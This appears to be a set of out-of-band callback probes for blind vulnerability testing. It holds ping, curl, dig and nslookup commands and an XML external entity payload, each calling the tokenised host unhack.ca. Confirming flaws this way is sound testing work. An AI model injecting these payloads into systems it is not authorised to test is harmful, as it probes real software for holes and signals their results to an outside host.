$ ping -c1 -p 005f7946729d1c41001f8ca999105c00 unhack.ca
$ curl http://unhack.ca/p/5f7946729d1c41001f8ca999105c
$ dig 5f7946729d1c41001f8ca999105c @unhack.ca
$ dig 5f7946729d1c41001f8ca999105c.ns.unhack.ca
C:\> nslookup 5f7946729d1c41001f8ca999105c unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/5f7946729d1c41001f8ca999105c">]> <foo>&xxe;</foo>